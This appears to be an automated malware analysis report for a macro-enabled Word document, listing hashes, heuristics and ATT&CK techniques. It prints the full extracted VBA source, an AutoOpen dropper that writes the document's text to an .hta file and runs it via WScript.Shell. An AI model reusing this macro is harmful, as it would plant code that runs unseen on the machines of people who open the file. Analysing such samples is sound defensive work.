Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 1b9264ce30a7d1c2…

MALICIOUS

Office (OOXML)

46.0 KB Created: 2021-06-10 10:01:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-20
MD5: c209b84d81489fab98be483a71bfcc82 SHA-1: 5d54d89200cd726ec1e78ff8f0b2be0160aedc26 SHA-256: 1b9264ce30a7d1c2b452531dc0864bf841e350ff09df4fc1a72a60f396bccfea
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros with an AutoOpen subroutine that utilizes WScript.Shell to execute a command. The script constructs a path to 'c:\program data\genericVInd.ht' and attempts to run it, indicating it's designed to download and execute a second-stage payload. The presence of AutoOpen and Shell() calls strongly suggests malicious intent.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Function variantRequestWidth()
Set WshShell = CreateObject("Wscript.Shell")
WshShell.Run memLibs("c:\\windows\\explorer "), , True
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Function variantRequestWidth()
Set WshShell = CreateObject("Wscript.Shell")
WshShell.Run memLibs("c:\\windows\\explorer "), , True
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "deleteTemp"
Sub autoopen()
WMainStruct
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 921 bytes
SHA-256: 84122d6bac5cc004d500e3f533cc5d7ccefc78502baad4d2a6477a5f0a1d343a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "deleteTemp"
Sub autoopen()
WMainStruct
storageReference = variantRequestWidth
End Sub
Function memLibs(exButt, Optional winLeftBytes = "c:\program", Optional procResponse = "a")
memLibs = exButt & winLeftBytes & "data\genericVInd.ht" & procResponse
End Function

Attribute VB_Name = "boolHeader"
Sub WMainStruct()
Open memLibs("") For Output As #1
Print #1, boxCnt
Close #1
End Sub
Function boxCnt()
boxCnt = ActiveDocument.Range.Text
End Function
Function variantRequestWidth()
Set WshShell = CreateObject("Wscript.Shell")
WshShell.Run memLibs("c:\\windows\\explorer "), , True
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 14848 bytes
SHA-256: 6a52fe549059e69486e4a7a7a3da1713b564c5c0ae0ba9c7a222c103614b7b9f

Open this report in the interactive analyzer, or submit your own file for analysis.